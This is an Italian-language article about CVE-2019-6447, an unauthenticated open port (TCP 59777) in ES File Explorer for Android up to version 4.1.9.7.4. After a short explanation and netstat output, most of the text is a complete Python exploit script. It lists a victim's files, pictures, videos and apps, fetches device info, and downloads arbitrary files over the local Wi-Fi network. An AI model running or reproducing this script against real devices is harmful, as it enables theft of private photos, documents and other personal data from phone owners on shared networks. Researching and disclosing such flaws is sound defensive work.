
Sfruttamento della vulnerabilità Android in ES File Explorer
Sfruttamento della vulnerabilità Android in ES File Explorer
ES File Explorer è stato creato da ES worldwide, che fa parte di DO Global ed ha sede in Cina. Questo ES File Explorer è disponibile solo per dispositivi mobili che eseguono il sistema operativo Android. Al momento, ES File Explorer è stato scaricato complessivamente più di 100 milioni di volte. Questa applicazione è il famoso file explorer di Android, quindi riceve molta attenzione. D'altra parte, nel 2019, ricercatori specializzati in cybersecurity hanno scoperto una vulnerabilità in ES File Explorer versione 4.1.9.7.4. Gli attaccanti in grado di sfruttare quella vulnerabilità sono in grado di raccogliere tutti i dati sensibili degli utenti salvati in ES File Explorer. Questi includono fotografie, video, registrazioni vocali, documenti e altri tipi di dati.
Fino alla versione 4.1.9.7.4, l'applicazione ES File Explorer File Manager per Android consente ad attaccanti remoti di leggere file arbitrari o eseguire app su una rete Wi-Fi locale effettuando richieste alla porta TCP 59777. Dopo che l'applicazione ES è stata avviata anche una sola volta, questa porta TCP rimarrà aperta e risponderà a dati application/json non autenticati inviati tramite HTTP.
Versione 4.1.9.7.4
angler:/ # netstat -ap | grep com.estrongs
tcp6 0 0 :::59777 :::* LISTEN 5696/com.estrongs.android.pop
import requests
import json
import ast
import sys
if len(sys.argv) < 3:
print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
sys.exit(1)
url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
print("[-] WRONG COMMAND!")
print("Available commands : ")
print(" listFiles : List all Files.")
print(" listPics : List all Pictures.")
print(" listVideos : List all videos.")
print(" listAudios : List all audios.")
print(" listApps : List Applications installed.")
print(" listAppsSystem : List System apps.")
print(" listAppsPhone : List Communication related apps.")
print(" listAppsSdcard : List apps on the SDCard.")
print(" listAppsAll : List all Application.")
print(" getFile : Download a file.")
print(" getDeviceInfo : Get device info.")
sys.exit(1)
print("\n==================================================================")
print("| ES File Explorer Open Port Vulnerability : CVE-2019-6447 |")
print("| Coded By : Nehal a.k.a PwnerSec |")
print("==================================================================\n")
header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}
def httpPost(cmd):
data = json.dumps({"command":cmd})
response = requests.post(url, headers=header, data=data)
return ast.literal_eval(response.text)
def parse(text, keys):
for dic in text:
for key in keys:
print(f"{key} : {dic[key]}")
print('')
def do_listing(cmd):
response = httpPost(cmd)
if len(response) == 0:
keys = []
else:
keys = list(response[0].keys())
parse(response, keys)
if cmd in listCmds:
do_listing(cmd)
elif cmd == cmds[9]:
if len(sys.argv) != 4:
print("[+] Include file name to download.")
sys.exit(1)
elif sys.argv[3][0] != '/':
print("[-] You need to provide full path of the file.")
sys.exit(1)
else:
path = sys.argv[3]
print("[+] Downloading file...")
response = requests.get(url + path)
with open('out.dat','wb') as wf:
wf.write(response.content)
print("[+] Done. Saved as `out.dat`.")
elif cmd == cmds[10]:
response = httpPost(cmd)
keys = list(response.keys())
for key in keys:
print(f"{key} : {response[key]}")